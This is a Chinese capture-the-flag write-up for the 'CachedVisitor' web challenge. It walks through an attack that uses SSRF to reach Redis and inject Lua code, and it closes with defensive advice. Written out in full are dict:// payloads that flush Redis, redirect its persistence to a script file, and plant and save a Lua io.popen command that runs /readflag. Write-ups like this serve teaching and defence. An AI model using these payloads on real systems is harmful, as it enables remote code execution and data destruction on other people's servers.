2024年软件系统安全赛攻防赛web题CachedVisitor题解
字数 1617 2025-08-20 18:17:07
Redis SSRF漏洞利用与Lua脚本注入攻击分析
漏洞背景
本案例是一个典型的SSRF(Server-Side Request Forgery)漏洞结合Redis未授权访问漏洞的实际攻击场景。攻击者通过Web应用的SSRF漏洞,利用Redis的配置缺陷,最终通过Lua脚本注入获取系统权限并读取flag。
环境分析
关键组件
- Web应用:存在SSRF漏洞的Web服务
- Redis服务:内网运行的Redis数据库(6379端口),配置存在缺陷
- Docker环境:flag文件设置了root权限,但提供了具有SUID权限的
/readflag可执行文件
关键配置
- Redis配置中
enable-module-command no,排除了主从复制攻击的可能性 - 无计划任务和SSH服务配置,排除了crontab和SSH公钥注入的攻击方式
漏洞利用步骤
1. SSRF漏洞验证
首先验证SSRF漏洞的存在:
dict://127.0.0.1:6379/info
此请求会返回Redis服务信息,确认SSRF漏洞和内网Redis服务的存在。
2. Redis未授权访问利用
确认Redis服务后,执行以下操作序列:
-
清空Redis数据库:
dict://127.0.0.1:6379/flushall -
设置Redis持久化目录:
dict://127.0.0.1:6379/config set dir /scripts -
设置持久化文件名:
dict://127.0.0.1:6379/config set dbfilename visit.script
3. Lua脚本注入
关键攻击步骤 - 注入恶意Lua脚本:
dict://127.0.0.1:6379/set shell "\n\n\n##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##\n\n\n"
解释:
- 使用Redis的
set命令创建一个键值对 - 值中包含特殊标记
##LUA_START##和##LUA_END##包裹的恶意Lua代码 - 额外的换行符用于确保脚本在文件中正确解析
4. 持久化攻击载荷
将Redis内存中的数据持久化到磁盘:
dict://127.0.0.1:6379/save
此操作会将包含恶意Lua脚本的数据写入/scripts/visit.script文件。
技术原理分析
Lua脚本执行机制
目标系统存在以下执行流程:
- 主Lua脚本(
main.lua)会读取visit.script文件内容 - 使用模式匹配提取
##LUA_START##(.-)##LUA_END##之间的内容 - 执行提取出的Lua代码
恶意Lua代码解析
ngx.say(io.popen('/readflag'):read('*a'))
io.popen('/readflag'): 执行系统命令/readflag并返回文件句柄:read('*a'): 读取命令的全部输出ngx.say(): 通过Nginx输出结果到客户端
为什么选择visit.script而非main.lua
- 格式问题:直接写入
main.lua会包含Redis存储的额外元数据,导致Lua解释器报错 - 内容过滤:
visit.script通过模式匹配提取特定标记间的内容,避免了格式问题 - 执行时机:
visit.script在每次请求时被加载执行,而main.lua可能只加载一次
替代攻击方案
通过外部Web服务器注入
- 搭建临时Web服务器,内容为:
##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END## - 通过SSRF请求该Web服务器
- Redis会记录请求内容到内存
- 使用
save命令持久化到visit.script - 触发Lua脚本执行
防御措施
针对SSRF
- 限制Web应用的请求协议(禁用dict://, file://等危险协议)
- 实施URL白名单机制
- 使用DNS解析限制(禁止解析内网IP)
针对Redis
- 设置Redis密码认证
- 绑定Redis到127.0.0.1或内网IP
- 禁用危险命令(如
CONFIG,SAVE) - 设置适当的文件权限
针对Lua执行
- 沙箱化Lua执行环境
- 禁用危险函数(如
io.popen) - 严格验证输入内容
总结
本案例展示了如何通过SSRF漏洞利用内网Redis服务的配置缺陷,结合Lua脚本注入技术实现权限提升。攻击的关键在于:
- 发现并验证SSRF漏洞
- 利用Redis未授权访问修改配置
- 通过精心构造的Lua脚本绕过执行限制
- 利用系统SUID程序获取高权限
这种攻击方式在CTF比赛中较为常见,也反映了现实世界中配置不当导致的安全风险。